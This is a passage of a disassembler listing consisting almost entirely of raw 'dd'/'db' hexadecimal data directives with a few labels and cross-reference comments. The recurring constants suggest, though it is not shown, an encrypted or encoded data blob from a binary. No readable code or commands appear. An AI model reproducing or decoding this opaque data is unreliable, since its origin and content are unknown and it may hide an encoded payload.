		dd 3400E2BCh, 321577ADh, 4A3BB622h, 0F3FD32CFh,	0C60F528Ch
		dd 0F699FCEh, 0B7D334FFh, 341B4900h, 3B9369CBh,	52156644h
		dd 1FE5E744h, 53C5EDFAh, 138246E0h, 32138FB8h, 0B8B16622h
		dd 0CAEED918h, 2BE0D377h, 0BC1A604Ah, 3215663Fh, 321A8E71h
		dd 0DAA46688h, 76245730h, 0C9226A9Dh, 0D0E3BF21h, 0EB943CF9h
		dd 6B0BA023h, 9F90EB43h, 0DB13682Ah, 32156680h,	0E9472EC0h
		dd 34BDCD92h, 0DBE0B6EEh, 32156687h, 0A84A8A94h, 3A5ED5FEh
		dd 16BABBB9h, 0BB2C8991h, 27915EC1h, 32058F24h,	35D06611h
		dd 4A876827h, 0DEAB63F6h, 0E5C4326Fh, 8F960CF9h, 341B79BDh
		dd 3A906944h, 3D156623h, 32156794h, 0B8759E88h,	0B7D30790h
		dd 341B4933h, 321E8F52h, 0A9066688h, 8B624D4Fh,	9170A4ECh
		dd 9A160EA9h, 0B31AED88h, 32156645h, 0C7A099D7h, 3D136808h
		dd 3215670Eh, 0B7989E44h, 341B5D8Fh, 321574F8h,	7A86D188h
		dd 1FE29E5Fh, 0DA190452h, 9078A058h, 0DBF25887h, 3215664Ah
		dd 7F778582h, 5AB3B86Bh, 0D51C24C8h, 0E2EA0CCEh, 7290EFDEh
		dd 0C7137395h, 3214E687h, 0F4EC6644h, 3C3A77A7h, 0B41A2517h
		dd 32156689h, 4C00EB8h,	0BD1A8379h, 32156619h, 3217E187h
		dd 53756644h, 2BE0D3DDh, 3BFC601Fh, 3B156688h, 15FFCFD5h
		dd 0CCEF62BDh, 9B8E39Ch, 0B31A6086h, 3215665Dh,	321572CBh
		dd 56A60111h, 8DB1D23Dh, 0E83613E8h, 5A4B249Dh,	5AFAA479h
		dd 52C5994Bh, 0CE48DF24h, 0F19E5DC3h, 0B79C0770h, 3400E2B4h
		dd 32078E24h, 0F6AC6622h, 23030720h, 13881366h,	8B4316A5h
		dd 64D20F3Dh, 6CE6D91Eh, 0F4749503h, 3C3A77C1h,	52752524h
		dd 321577F8h, 0F905E88h, 17B715E8h, 2FD3B98h, 79781F5Dh
		dd 0BD1A087Ah, 32156644h, 36926943h, 54156611h,	53AE1830h
		dd 9827872Ch, 32058FC8h, 0F6A86611h, 0CEBC4DFDh, 0AD6BA978h
		dd 871A9937h, 87EAA6FCh, 341B7F7Dh, 32018F24h, 0F7306622h
		dd 26BD1F30h, 0E8F8F1E3h, 4213BE9Dh, 0CF7A9227h, 3AFDE758h
		dd 36156688h, 0B0F1D60Ah, 6A89990Eh, 9F90EB70h,	0DB1368B3h
		dd 3215664Eh, 0C8818161h, 52AAAEFFh, 0DA7586E6h, 32156654h
		dd 0B0D5608Ah, 26E9A761h, 0D251E2A7h, 508048h, 69E3E744h
		dd 0C7473E36h, 0E2EA07D1h, 0EDA26924h, 7690EF43h, 3D137395h
		dd 3215670Eh, 0B7D39E44h, 341B4933h, 3E9F6952h,	3D156688h
		dd 321560CDh, 329B6922h, 5A156611h, 0B6E4CABFh,	3214E54Bh
		dd 0CDEC6622h, 3C0C93A4h, 32058F8Eh, 7EAD6644h,	526A1163h
		dd 4F392E3Fh, 0C49BEB2Eh, 0B79899FDh, 341B5D8Fh, 3219EB1Eh
		dd 0B61A6688h, 32156642h, 3215EB2Dh, 0E2EA6611h, 32156361h
		dd 3D04DF44h, 0B79CE215h, 3400E259h, 32156061h,	16D37844h
		dd 0CA392CA4h, 1D04E3D7h, 525A6086h, 3211E94Bh,	8D736622h
		dd 8A7334EFh, 5A744003h, 0A520F690h, 321561CBh,	64D75F11h
		dd 8A8061D3h, 2BE0D3BBh, 0DB75602Ch, 3215661Eh,	559C46A9h
		dd 0A400A299h, 844DA4D1h, 546620E5h, 3D749C03h,	321561CDh
		dd 33966922h, 0CE156611h, 9B8E305h, 37FC604Ah, 71156622h
		dd 315C0911h, 0B11AB677h, 32156645h, 7E90EFDBh,	0CE137395h
		dd 1D04E34Eh, 0DB5A604Ah, 32156633h, 3603FCC8h,	53E2DA0Bh
		dd 192FBFD8h, 560EE286h, 3C170E8Ch, 0B01A9FE6h,	3215664Dh
		dd 0D3940042h, 6C470F0Dh, 21FC06E9h, 53156644h,	0CC4C2C77h
		dd 49BA9CA6h, 2D910ED2h, 0ACE77D0Eh, 3BFCFC95h,	43156611h
		dd 0A0586C21h, 19709CB1h, 0C7A09943h, 3D136808h, 32156700h
		dd 0B7989344h, 341B5D8Fh, 32058FEDh, 7E866688h,	9CABD116h
		dd 0E611870Fh, 0A7E8C589h, 0E2EADA6Eh, 320BE94Bh, 0BB1A6622h
		dd 32156609h, 32157561h, 0D7CE8B44h, 7C1288F1h,	6ED50680h
		dd 907710EFh, 5AE87A7Ah, 0B645E3ABh, 26FC6004h,	9F156688h
		dd 39C7E4DEh, 0E627A962h, 50E6506Fh, 0F733B5B5h, 0F439D960h
		dd 3C3A77A7h, 0B51A2B17h, 32156680h, 0F4AA6924h, 53EED92Dh
		dd 56C2F79h, 3EFC9F40h,	21156644h, 0A859DD98h, 84D20DAh
		dd 0CD0B9CACh, 3C0C93F1h, 321F8F24h, 78916611h,	5DD2CEFAh
		dd 5FA8FC32h, 9B8E3AFh,	0DB75601Fh, 32156680h, 0B495403h
		dd 9037E166h, 5AE3E641h, 0E2EA07D7h, 6A90EFBDh,	0DB1373A6h
		dd 32156614h, 357008D7h, 0B7D39E4Bh, 341B4933h,	321D8F5Ch
		dd 0F36688h, 3B0D9AE1h,	0B31A6E1Fh, 32156610h, 7F9C0E70h
		dd 20FCBAB3h, 68156622h, 2C26099Bh, 0E9626BF8h,	0FDF44063h
		dd 0AA1550EFh, 0C7A099EEh, 0CA136891h, 9B8E3C9h, 3AFC602Ch
		dd 0F6156611h, 91E0B34Bh, 0CD45764Ch, 249C69F2h, 0DB156611h
		dd 32156699h, 0AB46C377h, 0E3344BCCh, 0EDBAF88Bh, 0F766437Dh
		dd 6690EFABh, 0CA1373A6h, 1D04E3D7h, 0CB406086h, 2938512Ch
		dd 32068FBEh, 40CB6611h, 0BE4B585Ch, 60E4DB12h,	0C6077D88h
		dd 0E0C0A813h, 87EA9FFCh, 341B7FB1h, 0B31A3042h, 32156611h
		dd 0E89434D0h, 19EFEB3Ah, 0B798077Ah, 341B5DBCh, 32157261h
		dd 0F55D1944h, 0D6ADB5EDh, 20EB5C1Bh, 2D103B91h, 0AD157581h
		dd 0DBC59985h, 32156619h, 20A2C63h, 5DC6B2B9h, 0B649E3ABh
		dd 3DFC6004h, 4E156688h, 1D868A20h, 571036Fh, 21960F52h
		dd 0B7D32D2Eh, 341B4955h, 5AE09F61h, 0E0C0963Bh, 0C7A09970h
		dd 3D13685Dh, 321572A2h, 321A8F11h, 47856688h, 59B2396Bh
		dd 0A50F0F7Ah, 0BB45A053h, 9F90EBBFh, 5213687Fh, 32156CCBh
		dd 45FB6511h, 0A05EAB0Ah, 3D1FAE37h, 0CD74BE9Dh, 3A9569C1h
		dd 3D156688h, 321564CCh, 0BB740622h, 27910694h,	0B7D39A8Eh
		dd 341B4955h, 0B51A0670h, 32156603h, 32156B61h,	4959AC44h
		dd 928A0523h, 0D51F0DB8h, 34FC65BDh, 37156644h,	0D72D8A79h
		dd 0D87D0703h, 0CBE8243Ch, 2BE0D3BBh, 0BF1A602Ch, 3215661Ch
		dd 32156E61h, 8E70B344h, 5771C5D3h, 9F90EBC4h, 0DB1368B3h
		dd 32156655h, 59A61A25h, 0A3162015h, 4B61F64Bh,	8ED95541h
		dd 52C599CCh, 3DD3D91Eh, 3215660Ah, 0B79C0744h,	341B755Bh
		dd 2390A0E9h, 751368A7h, 0CAA26924h, 53D4ED44h,	0AA4CFF79h
		dd 32128F6Ah, 0B1BA6644h, 18C3A49Bh, 0C7A099B9h, 52136891h
		dd 264FD8FEh, 0BDAA006Dh, 0B7980774h, 341B5D25h, 321569ADh
		dd 0F9A38F22h, 3B8588E3h, 673079ADh, 8B12C9F2h,	37FCB6DDh
		dd 82156611h, 657255EEh, 32058F24h, 16F76622h, 501546B3h
		dd 0DFD63AF4h, 0B09644EAh, 0EA95A743h, 0B79C0760h, 3400E2ECh
		db 0ADh
byte_5C3A41	db 68h,	15h		; DATA XREF: ___:off_438440o
byte_5C3A43	db 32h			; DATA XREF: ___:off_43A578o
dword_5C3A44	dd 906EF122h, 207E77CCh, 787B4CECh, 0F4DEA140h,	3C3A77A7h
					; DATA XREF: ___:off_43A570o
		dd 3D752117h, 3215630Fh
		db 44h,	0, 94h
		db 0F1h
		dd 5A7496B2h, 83E806D3h, 32157261h, 0B513DF44h,	0D73FA366h
		dd 8D96131Dh, 0A6F4FB3Dh, 0D1521C48h, 0C7A09959h, 3D136808h
		dd 32156D0Dh, 32138F44h, 0D766622h, 0A0D9EF16h,	9F90EB7Dh
		dd 3D13687Fh, 32156CAEh, 32108F11h, 4AEB6688h, 0CDCC9DCAh
		dd 0B79C9EF2h, 3400E279h, 321C8F74h, 0D7706644h, 2B7751DFh
		dd 0F42336DCh, 3C3A770Dh, 5AEC2142h, 0EDB39836h, 32156AF8h
		dd 7259EF88h, 743A8082h, 377B5996h, 0C7A09973h,	0CA136891h
		dd 9B8E3C9h, 3D75602Ch,	32156693h, 0B6FDE688h, 0E2EA9F25h
		dd 32156DCBh, 69347111h, 973DE440h, 5FCDA03Eh, 0B679E3ABh
		dd 0F4EC6004h, 3C3A770Dh, 3CFC3942h, 0CC156622h, 3FA54B26h
		dd 4CE614BFh, 29653A9Fh, 0C07D0E62h, 0B81AF841h, 32156690h
		dd 321575ADh, 0FDF51B22h, 0BC0A8E43h, 84A12978h, 0E84E0DECh
		dd 28EF8EA5h, 2BE0D3EEh, 0BFEC6086h, 3C2ECBC1h,	321A8F24h
		dd 3A5D6611h, 0DECE8897h, 0F2CB1FCh, 0D864215Ah, 0DBC5998Eh
		dd 32156681h, 0B86D5C70h, 19F611A7h, 0B79C93FEh, 3400E2F8h
		dd 321560ADh, 0E7FE4222h, 0F40A86FCh, 3C3A770Dh, 5AED2942h
		dd 0F5E91D1Dh, 0C7A099E8h, 3D136891h, 32156EC7h, 309F6922h
		dd 52156611h, 9F90EBE9h, 0DB13687Fh, 3215662Ch,	2EB07443h
		dd 3C781CFAh, 0D8C128E4h, 0E2EA0386h, 32156BF8h, 98DEE888h
		dd 7C5EDFDEh, 0F108C0AFh, 0B79CD1ADh, 3400E214h, 0CA9E0024h
		dd 2390A043h, 7513683Eh, 32156861h, 0F6838A44h,	0D72EBEF6h
		dd 0A4406362h, 5AC171BBh, 0C84E0808h, 3237ED2Dh, 0DB756611h
		dd 32156685h, 0EC5EE4h,	0A9D6444Ch, 7C9F558Ah, 321D8E16h
		dd 83516644h, 7E333EF0h, 534FB286h, 2BE0D377h, 0BFED604Ah
		dd 3C2ECBA7h, 0E2EA9317h, 8AAE06E8h, 3D3F775Ch,	321566A6h
		dd 3DFC0711h, 0FF156688h, 120F1C7h, 0F4F3595Eh,	0FA3A4EADh
		dd 3D741AAEh, 321567C1h, 0B79C9A22h, 3400E2B1h,	0FCAA69E8h
		dd 6020D822h, 2390A043h, 7513683Eh, 319369E8h, 0B2156644h
		dd 0B3AC3CEEh, 535E8CF1h, 0EC9E31E8h, 0CCAE001Fh, 0FF7D0794h
		dd 3DD66035h, 32157D0Ch, 0C8A60644h, 321577CAh,	6BE4D411h
		dd 0E025C8C3h, 0C98CC0C5h, 0B03F76E0h, 534BF7D3h, 2BE0D377h
		dd 38FC604Ah, 4C156622h, 1E873C54h, 1836A3E7h, 9F90EBF7h
		dd 0DB136819h, 32156616h, 1A93440Bh, 0CD82600Dh, 389A69F2h
		dd 52156611h, 3215EF87h, 53756644h, 0B79C9E43h,	3400E2B5h
		dd 339D69E8h, 0CB156644h, 2390A043h, 6D13683Eh,	0BC1A9AE8h
		dd 32156641h, 43E7E744h, 0FE7D07FAh, 0DBC1DDE8h, 32156654h
		dd 0DF8F20CFh, 4CF21B0Eh, 0B6769EEFh, 7D041FECh, 321561CBh
		dd 462D411h, 0AF6AEC42h, 2BE0D3BBh, 0BC1A602Ch,	32156610h
		dd 9F90EB7Dh, 0C713687Fh, 23FCB6DDh, 40156611h,	0EEB99E82h
		dd 3F868C19h, 0E002974Ah, 0CC59391Fh, 0B661E301h, 54756051h
		dd 1ADFB5A3h, 3213E31Eh, 0C3946688h, 2CA7B8CAh,	2390A043h
		dd 6D13683Eh, 32156E61h, 0D3DEFD44h, 0BD819C58h, 665B0E30h
		dd 5275F861h, 0F4FBE722h, 321B8E9Fh, 0A4186611h, 4BB65253h
		dd 4B88DB4Eh, 0F7163C1Eh, 5475074Ah, 0C70EB609h, 0CD7407B8h
		dd 3C0C9397h, 0B7989E17h, 341B5D25h, 52C599B8h,	68740671h
		dd 0BB74969Ah, 27911E0Dh, 32068F42h, 3A006622h,	886329D3h
		dd 0FF512908h, 0A3A06D09h, 7E03749Fh, 2390A076h, 6D1368A7h
		dd 321577ADh, 0E6697C22h, 736DF141h, 57379663h,	484B6287h
		dd 7A7DC0E3h, 3DC47539h, 32156702h, 87EA9F44h, 341B7FD7h
		dd 9F90EBE4h, 521368B3h, 0CD74B7CFh, 0B61A06F2h, 32156614h
		dd 16DBE7EEh, 321F8F7Bh, 0A0D26622h, 42D6D726h,	83174FB0h
		dd 0B79C9E25h, 3400E25Eh, 32188E71h, 202A6688h,	6874ABD4h
		dd 3E19A094h, 5422EC63h, 0E6B6A009h, 0D7FBE61Ch, 0F3A30643h
		dd 0CED4ED71h, 367F07E9h, 321CEE4Bh, 62756622h,	0D09EDF4Bh
		dd 5A745749h, 32157644h, 22150EDEh, 8A756611h, 1A60DAA7h
		dd 321563ADh, 0A5354922h, 58748959h, 25976988h,	3D156644h
		dd 321577A1h, 32198F11h, 98086688h, 805FA238h, 51D7F2EDh
		dd 0A7EA8787h, 341B6AA9h, 321BE04Bh, 3BFC6622h,	4F156611h
		dd 113F9576h, 0CDD5DFE5h, 32068F42h, 2ED16611h,	0E676EEEBh
		dd 918C582Dh, 0F508246Eh, 5A6C07DBh, 0B79C0735h, 341B79C1h
		dd 321560CBh, 0C225BA11h, 0BFCE4039h, 277F68C1h, 0E2EA9324h
		dd 32156DF8h, 0F9CC1988h, 0F035723Bh, 1CCF1D5h,	39FC627Bh
		dd 42156688h, 5D9643C1h, 0A96749B0h, 5475CD99h,	53EC9403h
		dd 3205662Ch, 32128F22h, 0AA936611h, 0EFCBB51Dh, 12150E71h
		dd 0B41A6622h, 3215661Dh, 6C76D8E8h, 0E8AC08A7h, 5342D391h
		dd 0DB150CE9h, 32156686h, 0F9988371h, 0B16AB601h, 1DFAB958h
		dd 0A7EAE761h, 341B6A65h, 790EFDAh, 0DB136809h,	32156683h
		dd 549F5D63h, 1DE35A17h, 0BBC1E107h, 3C03530Dh,	339B6942h
		dd 0CA156622h, 3BFC267Bh, 70156688h, 0FF2D6251h, 45EEEA5Bh
		dd 32056679h, 5AEC9F88h, 32146644h, 12AA0042h, 53DEEDF3h
		dd 52E066E2h, 874C3624h, 53E90700h, 3E34F3EEh, 52ED6086h
		dd 32156CADh, 9DD56F22h, 0C81FC270h, 54C1C70Ch,	0BB7491CFh
		dd 3C3B17A7h, 879E9A17h, 341B6C69h, 32156BADh, 14FE1922h
		dd 88D695FCh, 0CC09B7C3h, 0B71A8AD8h, 3215662Eh, 3213E61Eh
		dd 0BB1A6688h, 32156644h, 3FF4FBA9h, 5275601Fh,	3215E887h
		dd 8C736644h, 0DB740069h, 32156600h, 519E520Bh,	673AAD6Dh
		dd 0AF9ECAh, 0F871D400h, 26FC07E8h, 46156644h, 5FE1153Ch
		dd 17321609h, 0B65319E5h, 934A3FA9h, 0BBF43B7Fh, 3C0D43A4h
		dd 0AF9C9A8Eh, 341B4555h, 321569CBh, 0E5C1F711h, 0A64015BDh
		dd 5D2D6094h, 47C65C13h, 32156FF8h, 4917BD88h, 224236Bh
		dd 0AF9E455Dh, 341B6BF0h, 32156F61h, 0EC112544h, 0B19E72AAh
		dd 1EA87E4h, 0B3316A03h, 32156280h, 0CB969F22h,	38916911h
		dd 521566B1h, 53E9ECBCh, 3277DD4Ah, 1611EF11h, 5A749EE8h
		dd 32156D88h, 0CA316AABh, 32078E71h, 0BB886688h, 0DEA11B9Eh
		dd 5D7CD121h, 1FB3FB49h, 0BE929821h, 6AE3D14Bh,	53B7B5A2h
		dd 321F8F71h, 49DE6688h, 0D8D723F2h, 69C964A0h,	0B91AA620h
		dd 32156680h, 0AEAB0024h, 53F0ECC5h, 110CE398h,	0B2756086h
		dd 607427B3h, 32155A98h, 0B9C3EF11h, 0F696429Ch, 3C936940h
		dd 0DB156622h, 32156618h, 0AC3178B7h, 7D602F5h,	3A976955h
		dd 3D156611h, 32156402h, 0B3740644h, 61233EE4h,	1661653Fh
		dd 0E1AF34A8h, 0B325B211h, 0E07B46D0h, 2ADFE73Ch, 0B361E8FAh
		dd 4105AC86h, 0C5CF9101h, 5EFFE7C3h, 1B67C8DEh,	0B51A3C92h
		dd 32156625h, 3214E91Eh, 54EC6688h, 321F8FE9h, 4D786622h
		dd 6BF8E257h, 6F48C7D7h, 1B266941h, 766368h, 76164BE3h
		dd 513846ACh, 1F389476h, 783C552Dh, 321EE71Eh, 54756688h
		dd 540BAAFEh, 5C67A1A3h, 4A659970h, 0B3315203h,	32156280h
		dd 8B730622h, 0B3739C20h, 537AE062h, 1A3388C5h,	46164905h
		dd 88474635h, 59511D0Eh, 61B594C5h, 0E4142241h,	8946934Bh
		dd 32156690h, 99E9545h,	0B1317AA9h, 0BBEC62D5h,	3C1CB335h
		dd 0CD909E42h, 3237E32Dh, 0DAE06611h, 321538D5h, 321577ADh
		dd 0FC26F922h, 534D9585h, 0B82D9D77h, 0F6660801h, 0C5FC39F1h
		dd 0C7156615h, 0B3F2EFDFh, 32156283h, 36FAE522h, 6E315A96h
		dd 0DB316A01h, 3215664Eh
		dd 0F7865A0h, 0DA31C615h, 6342C3F9h, 0D82470FDh, 1659673Ah
		dd 0B34F3F15h, 0D8247062h, 32198F5Ch, 0FCBF6622h, 0A0D815BCh
		dd 51104FFDh, 0E07EFA47h, 321C8F26h, 0D19E6611h, 8E40ADD7h
		dd 0DB57F685h, 32156633h, 0DE988AEFh, 26003482h, 0E6BCF502h
		dd 77C66CCDh, 2780EF4Ch, 5213689Ch, 32156BACh, 4A7BEE22h
		dd 735CDB8Fh, 69CE3D42h, 0BF1A87AEh, 32156622h,	0F3A2694Fh
		dd 0DB110CE9h, 32156649h, 0E0220B8Fh, 1A4BE47Fh, 971483F9h
		dd 22150E8Dh, 0B71A6622h, 32156616h, 40C6E6E8h,	3D7498CFh
		dd 321563ADh, 0B9730611h, 0BC7D0759h, 0BB156623h, 3DED4236h
		dd 32156B95h, 321D8F88h, 0FCB6644h, 0AB626D55h,	327F57EBh
		dd 13809971h, 3D136848h, 32156CA9h, 31AB0611h, 54168E48h
		dd 0BB74BCCFh, 3C0AD3A7h, 7DAF0617h, 54654613h,	535246FDh
		dd 32156CCBh, 0A371311h, 36834A43h, 622AA947h, 0EF3152A3h
		dd 6861225Ch, 7FC8D9DFh, 0C8241200h, 32108F7Dh,	0FECB6611h
		dd 0CD2B7871h, 0B34C4270h, 321562E6h, 0C9AB0611h, 0DA38E112h
		dd 3215664Bh, 0D1F49446h, 66FBA8FCh, 4960F2F0h,	0CE49C48Ch
		dd 0D0FD077Dh, 3D15664Dh, 32156704h, 3D759F44h,	0CA759895h
		dd 0BB470770h, 36D7E76Ah, 0B1156644h, 269262C8h, 69C3A35h
		dd 32068FACh, 7CEA6644h, 4DEF819Bh, 8369AB9Ch, 0B079A992h
		dd 0B4DFBC20h, 0BF1ACB22h, 32156618h, 329D69E8h, 0CB156644h
		dd 42B74B43h, 0FA100D12h, 314D6699h, 1F314200h,	6A1577EAh
		dd 3165C414h, 2C9B69E3h, 52156644h, 321572CAh, 5B14A711h
		dd 0D8D8DD49h, 0D18C9827h, 46730DC7h, 58B869F6h, 684438FCh
		dd 32138F25h, 7D5A6622h, 2C32E58Ch, 2DCE0ED8h, 0E9C6644h
		dd 0DB4A3E06h, 32156605h, 0BB10A9A1h, 0B0983416h, 0DDAA3BD9h
		dd 6A90431Eh, 3011813Bh, 0C99C3511h, 0BB4EBBABh, 0B31A3BFAh
		dd 32156698h, 32156DADh, 0A8AC0D22h, 0C597967h,	0D75E688Eh
		dd 3233212Ch, 1629EF22h, 0B3733071h, 69202163h,	52D55625h
		dd 0EB7695A3h, 9C7469A3h, 52E09BFDh, 0C774AECFh, 6C3152DDh
		dd 3D11A292h, 32156306h, 8D1A0644h, 0B3ED07E0h,	4757C6D6h
		dd 59D2E7E8h, 1B786E00h, 59FAE7FDh, 0B3786E55h,	4757C667h
		dd 339F6924h, 0C7156622h, 37F5EF41h, 3215668Ch,	32156269h
		dd 1611E122h, 1601EF4Dh, 0C7E1ECE8h, 36943125h,	38000106h
		dd 8B443C38h, 1B1F73EFh, 0CA4CAC6Dh, 2D90DBA9h,	34FC601Fh
		dd 33156688h, 37EB517Dh, 0CDAC9E50h, 0CAEA99EEh, 63E9A6B9h
		dd 321566FDh, 0B8E46722h, 1619ED10h, 3211A209h,	2EC6644h
		dd 89469EEAh, 0CDEA99EEh, 0DB4EB8A1h, 32156643h, 3CBB9D0h
		dd 0CDC7D26Ah, 3694E1BCh, 0AD5D9360h, 1611ED1Bh, 3211A290h
		dd 0C7386688h, 3D2CF90Ch, 321567A1h, 0DBD49311h, 3A986980h
		dd 3D156644h, 321564AAh, 3740611h, 67AD0649h, 3D353FF8h
		dd 0CE74B19Dh, 0BF90695Bh, 52EA9977h, 3216E24Bh, 851A6622h
		dd 32058FCAh, 6D676688h, 697FDCC4h, 0AB12A999h,	9BD65E7Bh
		dd 5A74342Ch, 3215474Fh, 0BB314AABh, 6FFDEFDCh,	26E2367Dh
		dd 1611ED60h, 5211A2A1h, 5790DC77h, 1601EDE9h, 0B3F0EF11h
		dd 321562E7h, 36D0E711h, 0B5156688h, 0CE494268h, 32118AA3h
		dd 369C6611h, 1639E7ACh, 63243786h, 309464ADh, 632437D3h
		dd 3200E287h, 0B51A6644h, 3215662Dh, 32156CF8h,	1D405288h
		dd 961CE7FBh, 62900D10h, 321562A9h, 0B9D76788h,	0F6964240h
		dd 3A916926h, 3D156611h, 32156403h, 65740644h, 0F59481ABh
		dd 32156615h, 32118909h, 0E926644h, 269C3A06h, 0B7EA9A35h
		dd 341B4591h, 2B80EDBCh, 0DB136801h, 32156616h,	1BE2726Ch
		dd 0B968873h, 3C1CB3B7h, 0AD916917h, 0CB156688h, 623172CFh
		dd 361086ABh, 0B1156611h, 36926248h, 0DB753A60h, 32156633h
		dd 25FCCBCDh, 46061FB2h, 4EFD2FF6h, 0DB1BB2A0h,	0F19E0063h
		dd 162199E9h, 36D1E71Ah, 52156622h, 321FE11Eh, 37FC6688h
		dd 0D2156644h, 0F25E0D9Ah, 321574F8h, 20607388h, 439431DAh
		dd 0D42CF83Eh, 0A138E679h, 53992F76h, 3211DB11h, 0F4946622h
		dd 644D3340h, 0DC948889h, 644D3315h, 339A697Fh,	0CA156611h
		dd 0CDE9AF61h, 321E8FBBh, 9E76622h, 96DDDB86h, 0F89DE2CBh
		dd 359F6968h, 3D156622h, 32156790h, 269E9A88h, 0D59C3160h
		dd 3211A1A3h, 0F5966611h, 1629E18Ch, 0B9EC0618h, 6EA07F3h
		dd 0F6963835h, 32058F8Ch, 0A6A86644h, 0FA799B1Ah, 0F8984C6Ch
		dd 439E1437h, 0DB740422h, 32156630h, 84871222h,	2B25DD86h
		dd 4E99AAE7h, 158C1CE4h, 8D750355h, 6DB6F0E2h, 0E9E488C5h
		dd 0CD744D3Eh, 0B14C4225h, 0DB75624Ch, 3215664Dh, 30A31876h
		dd 0FFA41F19h, 6EA0770h, 0F6963E60h, 0B71A9326h, 3215661Dh
		dd 32156161h, 68AA4444h, 0B4E6FC06h, 36A8E3D6h,	32156086h
		dd 0F5E96644h, 3C0B43A7h, 32156617h, 0E8940688h, 6F0F72FCh
		dd 53E593A2h, 0B1F1DB92h, 3D15609Dh, 32152CC0h,	321B8F22h
		dd 2DCA6611h, 5277EF7h,	623CC015h, 12D687F0h, 0A874FB9Ch
		dd 5475609Ch, 0B973ACCFh, 23FC07F3h, 0B6156611h, 34D6795Bh
		dd 0F61066BDh, 899A285Fh, 98E44392h, 39FCB577h,	0FA156644h
		dd 63F8CA55h, 0E41462EDh, 0CDE0C127h, 3C0857C1h, 32018F24h
		dd 21D06611h, 19B2F988h, 0B58C7C77h, 0E9B04D03h, 9D39B42Ch
		dd 8F967A55h, 341B7B75h, 0AC976946h, 3D156613h,	32156106h
		dd 33956944h, 0CA156622h, 0CDAA6971h, 53CBD987h, 2F24E383h
		dd 3214602Ch, 0BF1A6611h, 32156683h, 321560ADh,	6B134522h
		dd 52316713h, 321B8FE8h, 43EC6644h, 2A49E546h, 2BC8BC78h
		dd 1FDE915Eh, 32986914h, 6C156622h, 5690EB70h, 3D1373C2h
		dd 32157FCEh, 32018F22h, 34BF6611h, 6FD4D53Ah, 0DB0CA0F9h
		dd 460D07F9h, 0CA8F6570h, 0E2EA19D4h, 321561ADh, 65EACB22h
		dd 9ACD7D79h, 0B6A1D305h, 0B61A6051h, 32156623h, 0C0A8EBE4h
		dd 0CE137087h, 232F89C5h, 0C53C6E78h, 556D847h,	0DC943C3Dh
		dd 604E404Dh, 524B9123h, 0B9E3D11Eh, 0B9420743h, 0F6964250h
		dd 219A6926h, 0DB156611h, 32156686h, 658C2CD1h,	77E2E670h
		dd 0A1ACF498h, 8F9EA342h, 341B79C1h, 321576CBh,	17266A11h
		dd 1B8E3FA9h, 0B57CB9B7h, 0A75772D3h, 0CDEADFC4h, 0B41A9977h
		dd 32156654h, 32156DCBh, 98552611h, 0E83BA429h,	0DD25A718h
		dd 0CED557DBh, 3215DC43h, 0C0146688h, 269E64CEh, 36D1E706h
		dd 3D156611h, 32156C05h, 0E3940644h, 3EC31E81h,	2740771h
		dd 32138F40h, 0D2D66644h, 39D18DB7h, 309D6971h,	82156688h
		dd 321E8FA3h, 4ECC6622h, 1B6BB70Ch, 0E3E9CA90h,	8D42076Bh
		dd 32156623h, 3D4A9810h, 32157103h, 32078F44h, 597B6622h
		dd 6A032060h, 9E638F22h, 43F41626h, 151935Eh, 639252EEh
		dd 44488331h, 16594F77h, 374D3F26h, 1633BF4h, 32156B61h
		dd 0CAE96344h, 2A2FB2FCh, 4705B5F6h, 0DBD46A27h, 3EFC064Ch
		dd 8D156622h, 0A3523EB8h, 0B5A9D537h, 0DA9033AEh, 3215662Bh
		dd 67B4A92h, 0AB63DA7Ch, 0E7D4E7AFh, 6C76D1C1h,	0CED45770h
		dd 9069C2h, 52EA99BBh, 0CEEEED44h, 277D9370h, 0BB1566D3h
		dd 36944248h, 3C46E706h, 0B3383E20h, 3D2468DBh,	321567C7h
		dd 0C5459A22h, 369E4205h, 36D1E5ACh, 0C3905FB8h, 3D136838h
		dd 3215EC95h, 8B449F88h, 3D950117h, 66AF3463h, 31AE676h
		dd 0FA9C3C59h, 0F21E931Dh
		dd 3237E32Dh, 0F5EC6611h, 3C02DF0Dh, 32156742h,	32078F22h
		dd 39E06611h, 78F9AB75h, 0FDA1708Eh, 9AB230C4h,	388ACB33h
		dd 6BAFD8DEh, 0C3146675h, 0B33152A9h, 321562D5h, 2F9C6988h
		dd 3D156644h, 321571ACh, 32078F11h, 52376688h, 52A01EEFh
		dd 0D9A788E6h, 0DE1A265Ah, 3FFE7A04h, 3204E14Bh, 3EFC6622h
		dd 6A156611h, 6CAC01FDh, 0C71B4E51h, 537308ACh,	17AB0EE8h
		dd 269C6688h, 34E6DC60h, 0E8E2660Ch, 2424A490h,	0E39C2A14h
		dd 8A45931Eh, 28272565h, 1D0B9534h, 0C99C5385h,	6845714Eh
		dd 0CEB8937Ah, 2A30D398h, 62EC6086h, 6C6AFD2Ch,	1611ED64h
		dd 7A11A292h, 6C6AFCA5h, 0CE53EF02h, 35FC067Ah,	8E156611h
		dd 4736786Ch, 0B71A43F4h, 32156621h, 53ECD91Eh,	0DCFB88B5h
		dd 0FF9069AAh, 0DB156622h, 3215661Eh, 0D69BADCAh, 750389D4h
		dd 98FE35EDh, 0B380AAABh, 0EFC8BBB6h, 9F906999h, 0CA156622h
		dd 321574F8h, 92BFEF88h, 0AD6F928Eh, 7E3F3453h,	4926DCCAh
		dd 0B1C1EE96h, 1E9C62A8h, 6A52DB06h, 0DF94180Bh, 4C0F3ECFh
		dd 0DB4848CDh, 3215662Bh, 0F634D0DEh, 0FCFCF451h, 36A83376h
		dd 0B3156622h, 181BF9FFh, 0B3FB67C8h, 181BF982h, 3D753B62h
		dd 3215669Ch, 0C2940088h, 0BB74ECBDh, 3C0D4397h, 0B3730617h
		dd 61FAC941h, 534E96CFh, 323992CBh, 0B3730611h,	52197A53h
		dd 4BDAE722h, 0E29E00B0h, 0D8FC0770h, 52EA9976h, 32156EADh
		dd 5F3DFC22h, 0F28BC3D5h, 32048F22h, 0AAD56644h, 0E448569Dh
		dd 0C71CA642h, 1F44EA27h, 531164DEh, 0BBD4EF73h, 1619EDDAh
		dd 0DB11A20Bh, 3215664Fh, 7838E7D9h, 7AF08890h,	11A9B25h
		dd 3C02DFC1h, 0F3EC9324h, 0BC1A65D9h, 32156685h, 32946924h
		dd 88156622h, 13D6AADh,	360C4BE9h, 0E23C5098h, 649DDD71h
		dd 0E1E2430Eh, 0F194B57Fh, 22AC1475h, 975A5A3h,	0EA146712h
		dd 249369D3h, 0DB156644h, 32156633h, 2EA2A6D0h,	0BCEF52ACh
